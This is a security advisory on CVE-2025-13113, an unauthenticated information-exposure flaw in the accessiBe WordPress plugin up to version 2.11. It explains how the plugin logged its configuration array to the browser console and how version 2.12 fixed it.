CVE-2025-13113: Web Accessibility by accessiBe <= 2.11 – Unauthenticated Sensitive Information Exposure (accessibe)

Plugin accessibe
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.11
Patched Version 2.12
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13113:
This vulnerability is an unauthenticated sensitive information exposure in the Web Accessibility by accessiBe WordPress plugin. The flaw affects all plugin versions up to and including 2.11. It exposes the complete plugin configuration array to any site visitor via the browser console when the accessibility widget is disabled. The CVSS score of 5.3 reflects a medium severity information disclosure issue.

Root Cause:
The vulnerability exists in the `accessibe_render_js_in_footer()` function within the `class.accessibeforwp.php` file. This function outputs JavaScript to the browser console without proper access controls. Specifically, at line 205 in the diff, the function calls `wp_json_encode($accessibe_options)` and logs the entire plugin options array. This occurs when the widget is disabled, as determined by the conditional logic starting at line 201. The function lacks any user capability checks or debug mode verification before exposing sensitive data.

Exploitation:
Attackers can exploit this vulnerability by simply visiting any public page of a vulnerable WordPress site. No authentication or special requests are required. The sensitive data appears automatically in the browser’s developer console when the accessibility widget is disabled. Attackers can view the console output directly or use automated tools to scrape the exposed data from the page source. The exploitation requires no specific parameters or payloads, making it trivial to execute.

Patch Analysis:
The patch in version 2.12 modifies line 205 of the `class.accessibeforwp.php` file. The vulnerable code `echo “console.log(“.wp_json_encode($accessibe_options).”)”` is replaced with `echo “console.log(“.wp_json_encode(“acsb not injected”).”)”`. Instead of logging the complete options array, the patched version logs only the static string “acsb not injected”. This change eliminates the information exposure while preserving the debug notification functionality.

Impact:
Successful exploitation exposes the complete plugin configuration array, which contains multiple sensitive data points. According to Atomic Edge research, this includes email addresses, accessiBe user IDs, account IDs, and license information. Attackers can use this information for reconnaissance, social engineering attacks, or license abuse. The exposed data could facilitate targeted attacks against the site owner or the accessiBe service infrastructure.
